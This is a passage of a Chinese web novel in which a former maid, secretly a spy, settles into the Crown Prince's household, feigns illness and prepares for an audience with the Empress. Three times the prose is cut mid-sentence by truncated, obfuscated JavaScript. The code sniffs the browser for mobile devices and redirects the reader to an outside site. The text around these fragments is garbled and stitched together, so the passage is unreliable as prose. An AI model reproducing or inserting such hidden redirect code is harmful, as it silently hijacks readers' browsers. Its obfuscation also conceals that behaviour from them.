李福拂尘一甩,还想继续为她介绍,梁含章拉着他袖子,小心翼翼道:“公公,四个丫鬟……会不会太多了?” 她没遇到殿下之前也是丫鬟出身,身份比东宫的不知低贱多少倍。实在不适应这么多丫鬟伺候。 李福看清她眼中的惶恐,安慰道:“娘娘如今是东宫后院最大的主子,四个丫鬟正合礼制。娘娘若推辞,底下人该怀疑你是不是失宠了”。 娘娘看着娇娇小小,性格又软,也不知道会不会被底下丫鬟欺负。李福心底叹息,看来娘娘这边他得上心些了。 梁含章诚惶诚恐跟着进去,一时间还适应不了这种身份的转变。她把李福拉到旁边避开众人,“公公,您见多识广,章娘是小门小户出身的低贱下人,往后还要靠公公多多提点”。 李福乐呵呵:“娘娘这说的什么话?您是奴才主子,娘娘愿信任倚重奴才,是奴才三生的造化了!” 梁含章自第一眼看他臃肿肥胖的身躯就觉得讨喜,眼下见人态度如此良好,丝毫没因为自己是东宫大总管而斜眼看人。顿时喜不自胜,拉着他袖子道: “既如此,章娘认公公为干爹吧,我自小没了爹娘,公公在这深宫提点我,有如我的再生父母……” 李福活像被蜜蜂蛰了屁股般跳起来,手里拂尘差点扔地上,连连摆手,“娘娘,这万万不可啊!” 奉仪是太子的人,宫里头的圣上才是娘娘正儿八经的爹,他一个阉人哪敢不知死活当娘娘的干爹? 这不是要谋反的节奏吗? 4. 第四章 梁含章彻底在芷兰居住下。不知是当晚小青的下场太过骇人,亦或是李福特地吩咐过,总之住下来这么多天,至少没人敢明面上奚落她。只是背地里如何议论就不得而知了。 天气难得放晴,冬日暖阳透过窗棂洒在案几上,梁含章正在房中午睡。春分和夏至坐在院子的小石椅上缠着针线。 “你看她浑身软绵绵的性子,哪里有资格当一宫之主?也不知道撞了什么狗屎运,居然让殿下幸了她”。春分手肘碰了碰旁边人,小声嘀咕。 夏至把针线扔回笸箩筐中,冷笑一声,“你看她动不动就哭,还真把自己当主子了?进来这么多天殿下都不曾来后院看她,身上那一丁点荣宠早没了!” “哎?”春分似乎想到什么,拍拍对方肩膀兴致勃勃道: “她先前是丰乐楼里端茶倒水的丫鬟,丰乐楼什么地方?明面上是酒楼,暗地里还不知是怎样的娼户!你说她在哪里待了这么久,身子会不会早不干净了?” “我看也是”。 秋分资历最老,出来听到二人吃了熊心豹子胆议论主子,怒道:“你们小心些吧,别到时候被李总管撞到落得跟小青一样下场!” 春分最争强好胜,此刻也弱了声音,毕竟小青的下场还历历在目。她小声嘀咕: “李总管是殿下身边的人,哪里有空来后院?再说了咱们不过私底下说几句实话罢了”。她身子往夏至方向探了探,“对吧?咱俩说的可都是实话”。 夏至点点头,起身拉住秋分胳膊,“哎呀姐姐,咱们不过肚里灌了几盅黄汤浑说的,看在共事多年份上,姐姐就原谅我们吧”。 秋分叹息一声,“娘娘好歹是主子,是殿下的人。就算不得宠代表的也是天家尊严。你们如此没规矩议论,把东宫的颜面放于何地?把圣上的颜面放何地?” “好姐姐,我们知道错了,往后再不会胡来”。秋分知道二人小心思最多,眼下该说的不该说的都说了,若是还敢冒犯娘娘,到时候怪罪下来,她可保不了她们。 天寒地冻的,虽今日出了太阳,依旧让人感觉骨头发冷。梁含章躺在床上,满头青丝散开,露出一张芙蓉般的小脸。 此刻却紧皱眉头,嘴巴不停翕动着,泪珠像断了线的珠子般滚滚落下,床榻上隐约传来女子的抽泣声。 上清宫道观的主殿下的地下室鲜为人知,里面阴森湿冷,她顺着阴暗的光线拾级而下,隐约听到顺着墙壁滴下来的水珠。 滴答滴答,让人无端背后发凉。 眼前是绵延无尽的黑暗,只依稀看到一张床榻,床上被子隆起来一块,男人痛苦难耐的咳嗽声传来。 越往深处光线愈暗,她半眯着眼,身影在昏黄的灯光下被拖拽得很长。她想止步转头回去,不知为何,双腿仿佛灌满铅石一动不动。 正在她呆愣之际,男人仿佛听到声音,抬起身子仰头望她。 四目相对。淡蓝色的火苗映照出他苍白如雪的脸,颧骨高高耸起,眼窝深陷,一双眸子黯淡无光,显然被病痛折磨不清。他擦擦嘴角渗出的血丝,看着来人依旧笑着问: “岁岁来了?”他挣扎起身整理衣袍,似乎极不愿意让她看到如此狼狈的模样。岁岁是梁含章的小名。 说来可笑,她生来无父无母,却有这样一个小名。 年年相见,岁岁康泰。 可她从未见过亲生父母,听那跛脚老道的意思,她是被亲生爹娘抛弃卖掉的,他们嫌弃她是累赘。 她一无所有,身边只有一个自小相依为命的兄长。可命运如此不公,她唯一的兄长,唯一的亲人,正日日饱受病痛折磨。 这一切,都拜那道貌岸然的跛脚老道所赐。梁含章指甲深深嵌进肉里,鼻子发酸哽咽着道:“阿兄还好吗?他有没有折磨你?” 二人心知肚明这个“他”指的是谁,男人望向她,眼睛映出熊熊燃烧的火花,似乎藏着星辰大海。 他想抬手摸摸她,却连这微弱的力气也没有。梁含章察觉男人意图,坐床沿上拉住他干枯瘦弱的手,声音带着哭腔,“我一定会把阿兄救出来的!” 男人苦笑,眼底带着无限眷恋,似一只温暖的手一遍遍巡过她肌肤:“岁岁,我不过将死之人,不必你花如此心思。听阿兄的话别再替他做事了,找机会逃出去过自己的生活,阿兄看见你幸福,死也能瞑目”。 “我不许你说这话!”梁含章怒了,火把丢地上两手环在他腰间,“岁岁一定会把阿兄救出来的!阿兄不相信岁岁吗?” 他身子饱受毒物摧残,搭在他腰间的手摸到都是一块块分明的骨头,没有一丝肉覆在上面。远看着不过一张人皮包裹着的骨头罢了。 男人嘴角略过一丝极浅极淡的笑,似无声的喟叹,“阿兄怎会不信?我们岁岁无所不能”。 梁含章心如刀割,不知是安慰他还是安慰自己,不断重复喃喃,“会好的,一定会好起来的……” 还未等她说完,怀中男子剧烈咳嗽起来,捂着小腹往床沿趴去,鲜艳又渗人的血源源不断从他嘴里吐出来,染红了地板,也染红了梁含章千疮百孔的心。 “阿兄!”她大喊一声从床上弹跳起来,双眼呆滞在大口喘着粗气,睡前被热气烘得潮红的脸瞬间变得煞白,汗湿的头发糊在脸上,女人恍若不觉。 冬至一直守在旁边,听见娘娘大叫吓得差点从椅子上滚下来。“娘娘,您怎么了?”她跑过去掀开帘子小心询问。 床帷一掀光线齐齐射进来,她眼角哭得通红,脸上是乱七八糟的泪痕。床榻陡然变亮女人恍若不觉,怔怔望着不远处斜进来一抹阳光,一言不发。 “娘娘,您怎么了?您可别吓奴婢啊!”冬至年纪是四人中最小的,被她双目含泪近乎魔怔的样子吓到,声音染上哭腔,“娘娘……”。 “秋分姐姐,你们快进来看,娘娘好像出事了!” 秋分几人听到动静忙赶进来,跨过门槛看到那张一动不动近乎呆愣的脸,一时都有些心惊。秋分还算镇定,转头派人去找王大夫。 自己又马不停蹄做些补救措施,摁她太阳穴,掐她的人中,能试的法子都试过,女人跟失去魂魄的瓷娃娃般躺在床上眼神呆滞一言不发,秋分心急如焚,只能在屋内不停踱步,时不时冲出去看王太医来没有。 王太医听闻奉仪娘娘身子有恙,紧赶慢赶总算来到芷兰居。女子不可随意见外男,即使对方已年逾古稀。 丫鬟们将帷帐放得严实,王太医才透过手帕为伤患诊脉。室内安静得可怕,王太医下颌的美髯抖了抖,继续诊另一只手。 “王太医,娘娘身子如何?”秋分忍不住问。 王太医沉吟不语,片刻后才将手帕移开,从笙蹄前起身,“娘娘发病前可有何异样之处?” 冬至还在旁边哭哭啼啼,依旧老实汇报,“当时娘娘在午睡,奴婢守在旁边。本来好好的娘娘突然惊叫着坐起来,奴婢过去一看,娘娘满脸泪痕眼神也呆呆的,就成这样了”。 王太医转过去写药方,一边提笔一边道:“娘娘这是郁结在心精神紧绷,又刚好着了风寒导致的惊厥,老夫开个药方,你们下去给娘娘煎服三天,大抵就无碍了”。 “多谢老先生”,秋分亲自送王太医出去,离开前还偷偷往他手里递了包银子。 王太医是太医院之首,平日负责的是殿下身子调养之事,按理说娘娘只是个小小奉仪,根本资格让王太医这种资历的御医望诊看病。 可王太医接到吩咐依旧老远赶来,面上没有一丝愠怒。秋分知道他给了芷兰居莫大的面子。 王太医看清楚她递过来的东西,面孔一板气急败坏骂:“老夫大老远赶来芷兰居,就是被你们这样侮辱的?实在太令人失望!”王太医冷哼一声,摔着袖子走人。 秋分面色尴尬,她在芷兰居资历最大,又惯会迎来送往那一套,本以为处理得游刃有余,没想到今天倒碰了一个硬钉子。 等芷兰居的人手忙脚乱给梁含章喂了药,又把人沾了药味儿的衣物换下,小心掖好被角时,天色已逐渐黯淡下来。 晚来风起,窗外是呼啸的寒风,冬至疾步走进来跟她汇报:“姐姐,殿下回府了”。 这些天李琤鲜少回东宫,一直忙着前朝逆党之事,好容易回来一趟也是直接在前院宿下。故而奉仪娘娘住下来这些天,竟是没见过太子一面。 秋分踌躇片刻,深吸一口气吩咐道:“冬至,你随我一同去吧”。娘娘生病这么大的事儿,也该让殿下知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“公公冤枉!”秋分扑通一声跪下,抖着声音回:“奴婢们这些天一直尽责尽职,未曾有一丝懈怠。实在不知娘娘为何心情郁结……娘娘也未曾与奴婢们说过……” “没有就好”,李福冷哼一声,摔了下手里的拂尘,“若是让杂家抓到你们冒犯主子,哼,到时候闹到殿下面前,可不是一顿板子可以解决的事儿”。言下之意上次他罚小青三十大板是小事,若是闹到殿下面前,可就不会如此简单了。 “是,奴婢谨遵公公教诲”。 “殿下近些日子忙没空回东宫,但奉仪娘娘在殿下心里总归是不同的,你们不要以为主子失了势,一个两个都想爬到主子头上撒野!若是底下哪个丫鬟不停管教,你大可告诉李贵让他处置”。 李贵是李福的干儿子,身份地位仅次于他之下的另一个总管。 “是,奴婢知晓”。 “回吧,好好照顾你们娘娘,等殿下忙完这阵会往后院走动的”。李福送走人,一开始打算直接回去休息,可站在原地看着殿内通明的烛火,踌躇片刻还是推门进去。 李琤正拿珠笔在舆图上写着什么,听到动静抬起头,映入眼帘的还是显着双下巴的大圆脸,不耐道:“怎么了?不是让你下去吗?” “老奴是殿下身边的总管,怎可抛下殿下一人自己逍遥自在?”他谄媚着笑,“奴才回来伺候主子”。 李琤摸不清他心里打什么算盘,冷哼一声随他去。 李福给人倒了杯热茶双手捧到案前,“殿下,喝茶”。李琤斜睨他一眼。男人已换下入宫面圣的金丝蟒袍,现下只着一套青蓝色直身,眉眼在灯光下少了几分凌厉,透出些微柔和。 李福站在下首斟酌片刻,壮着胆子道:“殿下,奉仪娘娘身边的大丫鬟来报,道娘娘身子抱恙”。 乍然听到一声奉仪娘娘,李琤思索片刻才想起来是何人。李福重新提起此人,他才惊觉时间已过去了好几天。 男人不悦皱眉:“身子抱恙去请太医来就是,跟孤说有什么用?”说着啪嗒一声搁下手里的珠笔,仰面靠在圈椅上。 李福没想到殿下是这个反应,一时间内心百转千回,不知该如何收场。 他在殿下身边伺候这么些年,可以说比圣上皇后都更为了解殿下,他能清楚看出殿下待奉仪的不同,以为是独属于男人对女人的偏爱。 可今日他才隐隐品出不同来。难道说……殿下对娘娘当真没一丝感情? 5. 第五章 桌前放着一杯冒热气的雨前龙井,是他平日最喜的茶,此刻也没了细品的心情。 万物静籁,窗边不时掠过几阵沙沙声,博物架摆着的沙漏正缓慢往下坠着。 丑时三刻了。 微黄烛火映照出男人俊秀的脸,眉峰正微微往上蹙着。他没继续看舆图,罕见的,把腰间常年佩戴着的玉佩拆出来放手里仔细端详。 玉依旧是那块玉,他却早已不是当初那个少年了。 看着玉佩上的花纹,李琤眉眼逐渐变得柔和,似乎陷入某种回忆中。那衣着破烂的小女娘脸上永远挂着笑容,她似乎有种魔力,让所有人喜欢的魔力。 小女娘分明是被卖来长孙府当端茶倒水的丫鬟,却让院里的嬷嬷对她爱怜不已,甚至认了干女儿,没受到一点虐待。 也是,她长得乖巧伶俐,小嘴又甜,院里那几个嬷嬷膝下无一子半女,好容易遇到这个唇红齿白的小丫头,不宠都不行。 小女孩扎着两个小发髻,头上还簪着外面开得鲜艳的桃花,走路一蹦一跳,甚是喜欢爬树上瓦,滑溜溜如泥鳅,嬷嬷们抓都抓不住。 她顺着树干爬到阁楼上,见里面被关着的小男孩丝毫不怯场,又黑又亮的眼睛眨巴,笑嘻嘻跳下窗台走到他面前随地而坐,小胖手还沾着泥巴污垢,嘴唇微微嘟起:“阿兄,你长得好漂亮!”声音沁了蜜一般甜。 男孩被爹娘抛弃困在贼人府上,本就万念俱灰心中怨怼,乍一看到笑得欢快的小女娘,心中恼怒瞬间有了宣泄口,恶狠狠推她:“你走开!” 小女娘没留神,洁白光滑的额头磕在地板上,很快鼓起小红包。她撇撇嘴巴有些委屈,依旧没放弃跟这个漂亮阿兄交谈的机会,捏着衣角斟酌道: “阿兄,你不高兴吗?”他没理她,只闭眼假寐。 “不高兴吃糖好不好?嬷嬷刚给我买的饴糖,大人都说不高兴吃糖就好了,糖能包治百病!” 眼瞧着小娘子一本正经,男孩嗤笑一声,还是没接话,目光却不似先前那般冰冷。 …… 李琤从回忆中收笼思绪,望着在灯下泛出淡淡光泽的玲珑玉佩,微不可察叹了口气。 当日在情毒作用下看到那双似曾相识的眼睛,一时间情难自禁,如今细细回想。 不一样的,二者根本不一样。 记忆深处那双眼睛永远眉眼弯弯焕发光彩,似阳光下生机勃勃的牡丹,盛放着万千星河,忍不住吸引他靠近。 而当日那女人的眼睛,娇娇怯怯不敢视人,汪着一泡泪水似无声诉说着自己的委屈。 怎么能一样呢?他以手扶额半靠在案几上,有些头疼揉了揉太阳穴。 自那日事发,他命人把女人接回府上,二人便再没见过面。他日日忙于前朝逆党之事,鲜少回东宫,更不会踏足后院,试图让自己忘记后院还有一个女人存在。 他不知是为了麻痹她,还是麻痹自己内心。他对她感到羞愧,也为自己感到羞耻,更愧对记忆深处的小娘子。 看到熟悉的眉眼而对她做出那样的事,对天真烂漫满心满眼都是他的小娘子来说,无疑是一种亵渎。 在无尽的愧疚压力下,他只好选择用公务麻痹自己。可方才李福却跟他说,她病了?且病因是郁结在心? 李琤心底泛起涟漪,慌乱不已。他本以为她在丰乐楼做着最下等的差事,动辄挨打受骂,把人接到东宫给个奉仪的位份,虽然奉仪位份低,但是她能摆脱为奴为婢的生活,摇身一变成为主子,这不是很好吗? 可今日他隐约感觉自己错了,她之所以郁结在心,说明根本不喜这里的生活。他自以为的好心在她眼里都成了枷锁,既如此,为何还要把人留在身边呢?放她自由不是更好吗? 李琤心乱如麻,眼前的舆图甚至出现了重影。 - 梁含章在仆从放下床帷的下一刻就睁开了眼睛。她梦魇不假,着风寒不假,但因风寒导致惊厥,这事就有些真假难辨了。 她已在后院坐以待毙这么些天,一个合格的细作要想窃取情报,首要前提必须取得太子信任。可如今她连太子的身都近不了,谈何信任? 不能再这样下去了,她心里告诉自己。 如今打破平衡的正好是她恰到好处的患疾,春分夏至姑且不说,照秋分那谨慎老道的性子,必会把此事汇报到殿下跟前。 秋分表面上是仆从,实际不过殿下安插在她身边观察一举一动的眼睛罢了。 不论殿下听完是什么反应,会不会来后院,其实已经不重要。他来了固然更好,他不来也无足轻重。 重要的是她要打破这份平衡,要打破她在殿下眼里透明人兼可疑人的存在。 她必须尽快取得殿下信任为梁朝获取情报,因为阿兄的病再经不起折腾了。梁含章一想到梦中那张苍白的脸就心如刀割,恨不得马上回到阿兄身边。 只是,她不能。 梁含章心事重重,但在药物作用下终究还是沉沉睡去。 只是,令她料想不到的是,自己此番以为胜券在握稳赚不赔的计划,却是让殿下动了把她打发出府的念头。 日子依旧如一潭死水般慢慢往前滑去。李琤每日早出晚归,梁含章在后院养病,二人没个打照面的机会。细算下来,整整过了半个多月。 这可怎么行?梁含章心惊,照这样下去别说获取情报了,殿下都不记得她了。到时东宫再进些侍妾,什么良媛昭训一大堆,哪还有她的立足之地? 梁含章心急如麻,正心里纠结要不要主动见太子一面,以增进双方感情。可巧李福就笑呵呵进来了。 老总管一如往昔丝毫没变化,依旧是和蔼慈祥的长辈神色。他扬了扬手中拂尘,给梁含章行礼道:“奉仪娘娘金安”。 梁含章畏冷,怀中正揣着小手炉。见到来人忙把手炉递给一旁的冬至,作势上前搀扶,“李总管免礼”。 李福笑呵呵扶正自己冠帽,眼睛挤成一条缝,连声道喜:“娘娘大喜!” 梁含章一头雾水,不解问:“敢问公公,何喜之有?” “皇后娘娘听说东宫来了位奉仪娘娘,迫不及待想把您诏进宫拉拉家常,奈何前些日子您感染风寒身子不便,皇后这才打消了念头。” “谁承想今日她老人家再次提及此事,殿下不好拒绝。奴才特奉殿下之令来通知娘娘,明日跟随殿下一同进宫谢恩”。 “进宫?”梁含章听得手脚发冷,一个头两个大。这太子还没搞定就要进宫了?万一在皇后面前露怯怎么办? 李福也知道此事对丫鬟出身的奉仪是种挑战,安慰道:“娘娘莫慌,皇后娘娘最是仁善不过,她这是稀罕殿下后院终于有了人,想跟您见上一面唠叨家常罢了”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350269|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梁含章强颜欢笑,话虽如此,可那毕竟是开国皇后,王皇后还是马背上的将军,逢梁朝大乱时亲自率军南征北战,巾帼不让须眉。这样的奇女子心里都揣着把明镜,看人最是犀利。 也不知自己面对皇后的威仪,会不会露出马脚。 李福顿了顿,尖细的声音似乎被刻意压低,“不过殿下跟帝后的亲缘关系……有些微妙,娘娘避开这个话题就是了”。 亲缘关系?她不解皱眉,但看到李福支支吾吾含糊不清,心知这是不能随便放明面上说的,他这一句若有似无的提点已是格外关照。 “多谢公公”,梁含章会意,吩咐秋分把今天刚做的桃花酥包一些送给总管。李福的面相观之可亲,直接送钱传到殿下耳里影响不好,况且她穷,手里一分钱没有。只好在这些不值几个钱又好看的吃食上下功夫。 果不其然,她话音刚落李福便喜得双眼放光,不住行礼道谢:“奴才多谢娘娘赏赐!多谢娘娘赏赐!” 因他身子圆胖,殿下曾命人严格控制他饮食,像这类甜点平日连碰的机会都没有,更遑论吃上这么一大包。 若殿下问起,他也有理由回乃奉仪所赐,殿下总不至于为了阻止他吃甜糕而驳奉仪面子。 真真两全其美! 李福的眼粘在秋分手上舍不得离开分毫,看着兴冲冲甩拂尘离去的人,梁含章忍俊不禁。真想象不出,李琤如此严肃正理的人,身边居然伺候着这样一个毛躁的吃货。 老太监看谁都一副和和气气的样子,从不耍什么小心机。他到底靠什么能力稳坐东宫总管的位置而多年屹立不倒呢? 梁含章心里疑惑。小手有一下没一下揪着自己头发缠绕成小圈,绕到尽头复松开,如此反反复复乐此不疲。 只是,李福说的太子跟帝后关系微妙到底是何意?据她所知,惠安帝也就是殿下亲父,与王皇后伉俪情深,膝下三个孩子俱是皇后所出,称帝几年迄今为止后宫除了皇后,再无妾室妃嫔。 太子既嫡又长,深得惠安帝喜爱,早在惠安帝登基称帝之时,便将其册立为太子。其中恩宠不言而喻。 梁含章不相信什么天家亲情,但是惠安帝勤政爱民,与皇后相濡以沫,于皇子公主舐犊情深。 既如此,殿下与帝后之间到底有何嫌隙呢?她听着秋分在旁叮嘱明日面圣的礼仪,心知要想深入了解其中关窍,明日进宫也许是个良好契机。 李福赤坑赤坑拎着桃花酥回听雨阁,本想直接在外边解决,思来想去还未告知殿下,影响不太好。 他摇摇头,又重新整理好衣冠,这才弓腰推门进去。 李琤正拿锦帕擦拭手里的佩剑,玄剑装饰简单,只在剑柄上续个绿色的小穗儿,剑身却足有数尺长,在冷光下散发阵阵寒意。 待李福看清殿下手中握着的玄剑不是平日佩在腰间的那柄时,目光顿时定住,喉咙似被棉花堵着,发不出声音。 太子没看他,眼神依旧注视着玄剑:“如何?” 李福声音艰涩,“娘娘已知晓,明日会同殿下一同入宫,她看上去极高兴,奴才走前还被赏了一包桃花酥”。说到桃花酥,他声调也轻快许多。 李琤侧目,掀眼皮望了眼他手里用油纸包着的一大包桃花酥,旋即偏头,浓密的睫毛遮住眼底情绪。 冷笑道:“你跟她关系倒挺好”。 6. 第六章 得知明日要进宫,当天晚上梁含章躺床上翻来覆去睡不着,心里思索明日面见凤颜时,皇后会问些什么话?至于李福那句唠叨家常,说说而已,她不会傻到当真。 只是,似乎不论她当真与否,好像也改变不了什么。唯一不同的就是给自己增加了更多心理负担。 哎,活着真难,梁含章攥着被角,听到旁边踏板上传来冬至有规律的呼吸声,轻轻叹气。若是她也能像冬至那般没心没肺就好了。 - 次日不过鸡鸣,她被秋分半拉着起床伺候穿衣洗漱。透过窗棂缝隙望了望天色,依旧是黑沉一片。 冬日的天本就亮得晚,眼下起得又太早,她脑子仿佛灌了一团浆糊,转头时也跟着咕噜噜移动,越发觉得昏沉。 她打了个哈欠不由问,“你们殿下平日都是这个时辰起身的?” 秋分在身后替她挽发,笑道:“今日还算晚的呢,因着几日大雪,圣上体恤臣工,下旨将朝会往后推延。只是殿下早起惯了,并未将其放心上。不过今日娘娘要与殿下一同进宫,殿下/体恤娘娘,才吩咐奴婢这个时辰叫醒您”。 梁含章半眯着眼点头,心道太子也不是那么好当的,要放她身上决计做不到这么早起床。 说来可笑,殿下如此劳心公务,她心里盘算的却是如何协助前朝逆党瓦解大晋政权。 实在是世事难有两全法啊。她纵然站在朝廷对立面,经过这段时间了解,也清楚李琤确实是位合格的储君,龙椅上那位更是杀伐果断的合格帝王。他们都是世间难得的清明圣主。 但她没得选,阿兄的命还攥在那帮人手里。她可真是个自私到极致的人啊,梁含章内心在为自己唾弃,放着天下黎民苍生不管,居然为了阿兄一人性命而为梁朝卖命。 可是,这世间只有阿兄是她最亲近的人,若是能救阿兄性命她可以连自己的命也不要。若是世人唾弃,就唾弃她一人罢。 因今日特殊,秋分特地给她挑了件淡紫色锦绣夹袄,袖口处用金丝绣着精美梅花图案,领口镶着一圈白色狐毛。既合身份又不失庄重。 她精致小巧的脸蛋半缩在绒毛里,只留下一双黑曜石般含情的眼眸,看着乖巧又可人。 面见凤颜,打扮就不能太小家子气,秋分将她锦缎般的青丝梳成高髻,上面簪两支金缠枝步摇,额上还用胭脂点了花钿。一番打扮下来,整个人脱胎换骨。 奉仪娘娘本身长得明艳,如今一身华服锦绣衬托,两条柳眉微微向上扬起,眼里带着若有似无的光,平日的怯懦胆小一扫而空,看着颇有些上位者的凌厉。 秋分暗暗心惊,娘娘身上的气场,仿佛她天生合该如此做着尊贵的人上人,睥睨天下蝼蚁,人人都该匍匐在她脚下。 可是,她先前明明只是个小小的酒楼丫鬟,身上怎有如此强大气场? 李琤一身赭黄色圆领锦衣,腰束白玉蹀躞带,玲珑玉佩随着他呼吸的动作在腰间轻微移动,一身外袍勾勒出男人略清瘦的身躯。 梁含章脑海中忽闪现那天他欺身压上来的情景,贲张有力的肌肉块块分明,硬邦邦压在身上。那时候可不像现在看着清瘦。 嗯,有力量多了。 她小脸发红,几乎是小跑着冲过去,怕殿下等太久不耐烦。直到看见太子温润的眉眼时,罕见的愣住了。 这张脸,与当日在丰乐楼见面根本不一样!鬓若刀裁,眉眼如画,竟是世间难得的美男子。 这才是他真实的面目吗? 冰天雪地之间,她绣鞋踩在地上发出咯吱咯吱的响声,李琤听到动静侧目望过来,脸上没有丝毫愠怒。 男人接过李福手里的伞朝她递过来,梁含章跑到他身边停下,已有些气喘吁吁,鼻尖染上几丝粉嫩的红色。 李琤只瞥了一眼不好意思转头,耳尖泛红,没注意到她脸上还未收起的震惊之色,望着不远处的马车道:“走吧”。 天还没有一点白亮的迹象,雪花扑簌簌往下掉,天地间一片银装素裹。 李福没打伞在大雪低下走着,雪花稀稀拉拉落在身上浑然不觉,看到前面并肩而行的一对壁人,笑容几乎裂到后脑勺。 啧啧,殿下还说对人家没兴趣。他活了这么多年,比殿下大了整整一轮,看人的眼光从没出错过。 看来,东宫很快要有小皇孙出生了。 梁含章病刚好,身子骨本就弱,又极畏寒,一阵冷风拂来,忍不住打了个寒颤。 李琤注意到了,脚步微顿,架着眉峰声音冷冽,“奉仪的斗篷呢?”神色没了方才的局促,眉宇间流露出来的全是上位者不怒自威的气势。 秋分噗通一声跪下,“奴婢该死!” 梁含章看着跪在雪地的奴仆,樱桃小嘴张张合合酝酿许久,忍不住开口道:“殿下,是奴……是妾执意不穿斗篷,怪不得秋分”。 这确实是实话。方才秋分曾出言提醒,她急着出门直接选择性忽略了。 “为何不穿?”男人听到她自称的转变,一身冷冽并未融解分毫。 梁含章头垂得愈发低,声如蚊呐:“臣妾……怕殿下等太久……” 李琤眼神终于从不远处的雪梅落到她身上,女人极其局促不安,莹白的小手无意识扯着衣摆,露出粉嫩的指甲。小脸几乎垂到地上,从他的视线只能看到她鸦黑的鬓发。 即使不去看她脸,李琤也能想象出她此刻的神情,必然是扁着嘴巴泫然欲泣,那双本该灵动明媚的眸子定然是雾蒙蒙的。 微不可察叹息,算了,在她面前摆什么脸色呢?她不过一胆小怕事,略微遇到些风吹草动就把脑袋缩回龟壳的女娘罢了。 他突然想到方伯衡的话,谋士道此人身份不明,很大可能是梁朝派来潜伏在东宫的细作。可面前这个动不动流泪,遇到丁点大事情就吓得误以为天塌下来的女人。 李琤摇头,梁朝逆党还不至于派这么个蠢笨的细作过来。 转头冲李福道:“去听雨阁把孤那件大氅拿来”。听雨阁就在前院,离府门近,这是眼下最好的法子。 李福迫不及待“哎”一声,扭动着肥胖的身躯往听雨阁去了。梁含章看到几乎称得上健步如飞的老总管的黑影一掠而过,想不到他身子笨重,也有如此灵活的一面。 实在是……人不可貌相。 她垂下眼帘压下震惊,朝旁边福了福身,“多谢殿下”。心中却纳罕,他今日的表现实在有些……不同寻常。 当日清醒他手握剑柄,眼底是毫不掩饰的杀意,梁含章料定他只是因为情毒与自己有肢体接触。等他意识回笼,恢复高高在上的太子身份,是决计看不上她这个身份和性子的。 今日一看,他倒不像自己想象的那么讨厌她,这一件件事情安排下来,不是蛮体贴的吗? 会不会还有一种可能,殿下并不像外界传闻那样不近女色,其实他心里早已接纳了她?亦或者因她前些日子生病心中愧疚? 梁含章不敢肯定,但就目前来说,形式确实明朗不少。看来那惊厥的病生得也不亏。 李福很快抱着褐色大氅回来,老太监累得大口喘气,额头甚至渗出细密的汗珠。他一边用手背擦汗一边弓腰道:“殿下,大氅取回来了”。 “给奉仪披上”,李琤眼神落在旁边的角灯上,并未言明对何人所说。秋分讪讪接过大氅,小心披娘娘身上。 见她衣着妥当,李琤方清咳一声,“走吧”。梁含章含糊“嗯”了一声,跟上他脚步。 显然这件褐氅男人并不常穿,衣物新得没有一丝褶皱,但依旧存留着他身上淡淡的木竹香味儿。 不浓,丝丝缕缕钻到鼻子,让她脑海有一瞬间恍惚。 大晋尚马,骑马之风更是盛行,朝野百官不论文武,上朝皆是骑马而行。换而言之,只有老弱妇孺出行才会乘马车,若是哪个官员不骑马,外人会默认他身体不好。 即使身子笨重如李福,出门依旧是骑马。 梁含章被秋分扶上马车,在车帘落下的前一刻,她望着前面那高大挺拔的赭黄色身影,男人头戴象征太子身份的金冠,在朦胧的光线映衬下更显英姿丰伟。 秋分脸色发白,显然是方才跪雪地里冻到的。梁含章心有愧疚,将怀中暖炉递给她,“抱歉,是我连累了你”。 秋分一边推辞一边摇头,“娘娘言重了,伺候娘娘是奴婢本分,况且奴婢行事本就有疏漏,幸而殿下提醒了奴,奴婢感激还来不及呢”。 相比于春分夏至的浮躁不恭,冬至的一团孩子气,秋分身为芷兰居最大的丫鬟,行事无疑是大方又沉稳的。 譬如此刻,刚被殿下责罚的她,居然还能说出“幸而殿下提点”,言语间依旧成熟稳重。 梁含章内心嗤笑,李琤这双“眼睛”确实选得不错。 马车在雪地上缓慢转动起来,万物静籁,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350270|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰听到前面踏踏的马蹄声刻意放缓,似乎有意在等后面的马车。 车厢内还燃着炭火,热气烘得人昏昏欲睡。她倚靠在车厢壁,迷迷糊糊闭上了眼睛。 直到被一阵车窗敲击声震醒,听到李福尖细的声音提醒,“娘娘,皇宫到了”。 她猛然打一激灵,上下检查自己仪容有何不妥,这才随秋分下车。李琤站在外面背对着她,听到动静随口道: “孤去上早朝,你先在前面玄光殿等候片刻,等孤下早朝再同你一起给母后问安”。玄光殿是他平日在皇宫处理政务的地方,安排她在此处等待也算妥当。 梁含章听完大松一口气,他陪着就好,只要不是自己单打独斗,面见凤颜就不会太过紧张。 眼下天刚灰蒙蒙亮,已有不少大臣骑马而至,梁含章怕耽搁他上朝,忙屈膝福了福身,扶着秋分的手跟在指路小太监身后往大殿走了。 